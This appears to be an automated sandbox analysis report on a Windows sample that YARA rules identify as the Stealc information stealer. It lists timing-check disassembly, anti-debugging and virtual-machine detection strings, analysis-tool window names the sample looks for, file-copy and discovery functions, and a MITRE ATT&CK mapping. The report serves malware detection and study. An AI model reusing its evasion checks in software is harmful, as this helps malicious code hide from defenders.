Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AC63E second address: 5AC651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c jbe 00007F8B146C0A06h 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB035 second address: 5AB047 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 ja 00007F8B151F0E36h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB470 second address: 5AB479 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB716 second address: 5AB722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007F8B151F0E36h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB722 second address: 5AB726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB726 second address: 5AB73F instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8B151F0E36h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8B151F0E3Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB8B4 second address: 5AB8BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AB8BC second address: 5AB8C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B0361 second address: 5B0367 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AFEC8 second address: 5AFEFA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F8B151F0E45h 0x00000008 jmp 00007F8B151F0E41h 0x0000000d pop ecx 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B901C second address: 5B9028 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8B146C0A06h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9028 second address: 5B902D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B902D second address: 5B9078 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B146C0A15h 0x00000007 jnc 00007F8B146C0A08h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F8B146C0A12h 0x00000017 jl 00007F8B146C0A06h 0x0000001d jnp 00007F8B146C0A06h 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F8B146C0A14h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9078 second address: 5B9082 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F8B151F0E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9082 second address: 5B9088 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9088 second address: 5B908C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B908C second address: 5B9092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9092 second address: 5B909C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B909C second address: 5B90A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C07E9 second address: 5C07F5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B151F0E3Eh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2FBF second address: 5C2FC8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2FC8 second address: 5C2FF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8B151F0E46h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F8B151F0E43h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF586 second address: 5CF58A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF0FC second address: 5CF100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF100 second address: 5CF108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E052F second address: 5E0548 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F8B151F0E4Bh 0x00000008 jmp 00007F8B151F0E3Fh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFC97 second address: 5DFC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFDF7 second address: 5DFDFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFDFD second address: 5DFE02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFE02 second address: 5DFE07 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DFF50 second address: 5DFF54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E00E9 second address: 5E00ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4ACF second address: 5E4AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4AD3 second address: 5E4AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4AD7 second address: 5E4AE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4AE1 second address: 5E4B31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E41h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b jne 00007F8B151F0E4Eh 0x00000011 nop 0x00000012 xor dx, 757Bh 0x00000017 push 00000004h 0x00000019 call 00007F8B151F0E39h 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jl 00007F8B151F0E36h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4B31 second address: 5E4B37 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4B37 second address: 5E4B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8B151F0E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4B41 second address: 5E4B6E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8B146C0A0Fh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F8B146C0A0Fh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4B6E second address: 5E4B79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jl 00007F8B151F0E36h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E4B79 second address: 5E4BA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F8B146C0A11h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jnp 00007F8B146C0A06h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E6111 second address: 5E611D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F8B151F0E36h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E9A38 second address: 5E9A42 instructions: 0x00000000 rdtsc 0x00000002 js 00007F8B146C0A06h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0295 second address: 52C0299 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0299 second address: 52C029F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C029F second address: 52C02B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8B151F0E45h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02B8 second address: 52C02BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02BC second address: 52C02EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F8B151F0E3Ch 0x0000000e xchg eax, ebp 0x0000000f jmp 00007F8B151F0E40h 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov ecx, 74435AF3h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C02EC second address: 52C0374 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F8B146C0A18h 0x00000008 jmp 00007F8B146C0A15h 0x0000000d popfd 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F8B146C0A0Eh 0x00000017 xor eax, 65588E58h 0x0000001d jmp 00007F8B146C0A0Bh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F8B146C0A18h 0x00000029 xor ax, 18B8h 0x0000002e jmp 00007F8B146C0A0Bh 0x00000033 popfd 0x00000034 popad 0x00000035 popad 0x00000036 pop ebp 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b push eax 0x0000003c push edx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0374 second address: 52C0378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0378 second address: 52C037C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C037C second address: 52C0382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0382 second address: 52C0388 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C03CD second address: 52C03D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C03D1 second address: 52C03D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C03D7 second address: 52C03FC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b mov edi, 46719984h 0x00000010 mov di, C9F0h 0x00000014 popad 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C03FC second address: 52C0400 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 52C0400 second address: 52C0410 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8B151F0E3Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 341A8C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 519D27 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_000F38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000F4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_000EDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_000EE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_000EED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_000F4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000EDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_000EBE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000F3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_000F3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000EF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000EF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000E16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000E16D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000E1160 GetSystemInfo,ExitProcess,

0_2_000E1160

Source: file.exe, file.exe, 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1729629409.0000000001253000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: file.exe, 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1729629409.0000000001289000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1729629409.0000000001280000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, 00000000.00000002.1729168097.000000000033E000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: KE[OEgQEmUEr[E*`E

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13561
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13564
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13583
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13576
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13616

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000E45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_000E45C0

Source: C:\Users\user\Desktop\file.exe

0_2_000F9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F9750 mov eax, dword ptr fs:[00000030h]

0_2_000F9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_000F7850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_000F9600

Source: file.exe, file.exe, 00000000.00000002.1729168097.00000000004CB000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_000F7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_000F6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_000F7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000F7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_000F7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1688759783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1729629409.000000000120E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1728987050.00000000000E1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1688759783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7400, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
